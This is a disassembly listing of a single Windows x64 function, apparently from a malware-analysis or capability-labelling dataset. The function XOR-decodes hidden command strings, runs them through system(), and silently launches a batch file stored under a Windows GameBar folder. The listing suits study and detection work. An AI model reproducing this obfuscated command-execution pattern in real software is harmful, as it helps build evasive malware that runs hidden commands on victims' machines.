Function at 0x1400511b0
Capabilities:
Encode data using xor
Execute command

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x78]
sub rsp, 0x170
movaps xmmword [rax - 0x18], xmm6
mov rax, qword [0x14014f840]
xor rax, rsp
mov qword [rbp + 0x50], rax
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
movups xmm0, xmmword [str.PAGZ]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x14012f8a0]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x14012f8b0]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x14012f8c0]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x14012f8d0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x14012f8e0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x14012f8f0]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x14012f900]
movups xmmword [rbp + 0x10], xmm1
movsd xmm0, qword [0x14012f910]
movsd qword [rbp + 0x20], xmm0
xor ebx, ebx
mov r8d, ebx
movdqa xmm6, xmmword [0x14012fe40]
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x14005138c
movdqa xmm4, xmmword [0x1400c6f00]
mov edx, ebx
movdqa xmm3, xmmword [0x14012ff30]
movdqa xmm5, xmmword [str.9999]
movdqa xmm0, xmmword [0x14012fe50]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp - 0x5c]
mov r8d, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x88
jl 0x1400512a0
jmp 0x1400513c5
lea r9, [rbp - 0x60]
mov eax, 0x1f7047dd
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x88
jl 0x140051390
lea rcx, [rbp - 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x40], xmm1
mov r8d, 0x48
lea rdx, str.cmd.exe__c_start__b_C:WindowsGameBarPresenceWriterhunter_clean_fn.bat
lea rcx, [rbp + 0x30]
call fcn.14004f370
nop
lea rcx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rcx, qword [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], rbx
mov r8d, gethostname
lea rdx, str.C:WindowsGameBarPresenceWriterhunter_clean_fn.bat
lea rcx, [rsp + 0x40]
call fcn.14004f370
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0xf
cmova rcx, qword [rsp + 0x40]
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
cmp rax, 0xffffffffffffffff
jne 0x14005147f
mov dil, 1
jmp 0x14005148b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor dil, dil
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400514c4
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400514bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400514d3
call fcn.1400b6cd0
test dil, dil
je 0x1400514da
mov ecx, 0x64
jmp 0x14005140e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
movups xmm0, xmmword [0x14012f918]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [0x14012f928]
movups xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [0x14012f938]
movups xmmword [rbp - 0x80], xmm0
movsd xmm0, qword [0x14012f948]
movsd qword [rbp - 0x70], xmm0
mov eax, dword [str.K_rZ_Z7]
mov dword [rbp - 0x68], eax
movzx eax, word [0x14012f954]
mov word [rbp - 0x64], ax
cmp esi, 2
jl 0x14005164a
movdqa xmm4, xmmword [0x1400c6f00]
movdqa xmm3, xmmword [0x14012ff30]
movdqa xmm5, xmmword [str.9999]
movdqa xmm0, xmmword [0x14012fe50]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rsp + 0x64]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, ebx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rbx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm4
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm3
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
andps xmm2, xmm6
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add ebx, 8
lea rcx, [rcx + 8]
cmp ebx, 0x38
jl 0x140051560
cmp ebx, 0x3e
jge 0x14005168e
movsxd rax, ebx
lea r8, [rsp + 0x60]
add r8, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul ebx
add edx, ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, bl
sub al, cl
add al, 0x33
xor byte [r8], al
inc ebx
lea r8, [r8 + 1]
cmp ebx, 0x3e
jl 0x140051660
lea rcx, [rsp + 0x60]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 0x2ee
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Beep]
nop
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x1400516e8
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400516e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400516e3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b6cd0
mov rcx, qword [rbp + 0x50]
xor rcx, rsp
call fcn.1400b6b70
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop rbp
ret